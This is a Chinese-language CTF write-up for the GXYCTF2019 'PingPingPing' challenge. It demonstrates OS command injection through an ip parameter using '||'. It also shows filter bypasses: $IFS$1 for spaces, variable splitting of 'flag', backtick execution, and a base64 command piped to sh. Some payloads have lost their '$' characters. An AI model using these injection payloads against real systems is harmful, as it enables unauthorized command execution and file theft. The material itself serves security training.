前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >GXYCTF2019-PingPingPing

GXYCTF2019-PingPingPing

作者头像
发布2020-08-19 16:33:49
5690
发布2020-08-19 16:33:49
举报
文章被收录于专栏:奝-大周奝-大周

题目地址:buuctf

打开题目

1
1

只有一个/?ip=

尝试传?ip=127.0.0.1,得到回显

2
2

利用管道符漏洞,传?ip=127.0.0.1||ls

3
3

看到flag.php 传?ip=127.0.0.1||cat%20flag.php

4
4

尝试传一下,得知如果我们传入的字符含有flag空格或者/,那么就会返回错误

这里用IFS1来绕过空格的限制,传?ip=127.0.0.1||catIFS1index.php

5
5

可以看到确实过滤了很多

这里我用三种办法

1.变量替换

preg_match("/.*f.*l.*a.*g.*/", $ip

因为这个会判断输入语句中是否按顺序出现f l a g,所以我们用

?ip=127.0.0.1||a=g;catIFS1fla

2.内敛执行
代码语言:javascript
复制
?ip=127.0.0.1||a=g;cat$IFS$1`ls`
3.sh

既然过滤了bash,那么可以用sh

?ip=127.0.0.1||echoIFS1Y2F0IGZsYWcucGhw|base64IFS1-d|sh

其中Y2F0IGZsYWcucGhw是base64加密之后的cat flag.php

关于命令执行的绕过,可以参考ghtwf01师傅的这篇文章:命令执行漏洞利用及绕过方式总结

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-6-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.变量替换
  • 2.内敛执行
  • 3.sh
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档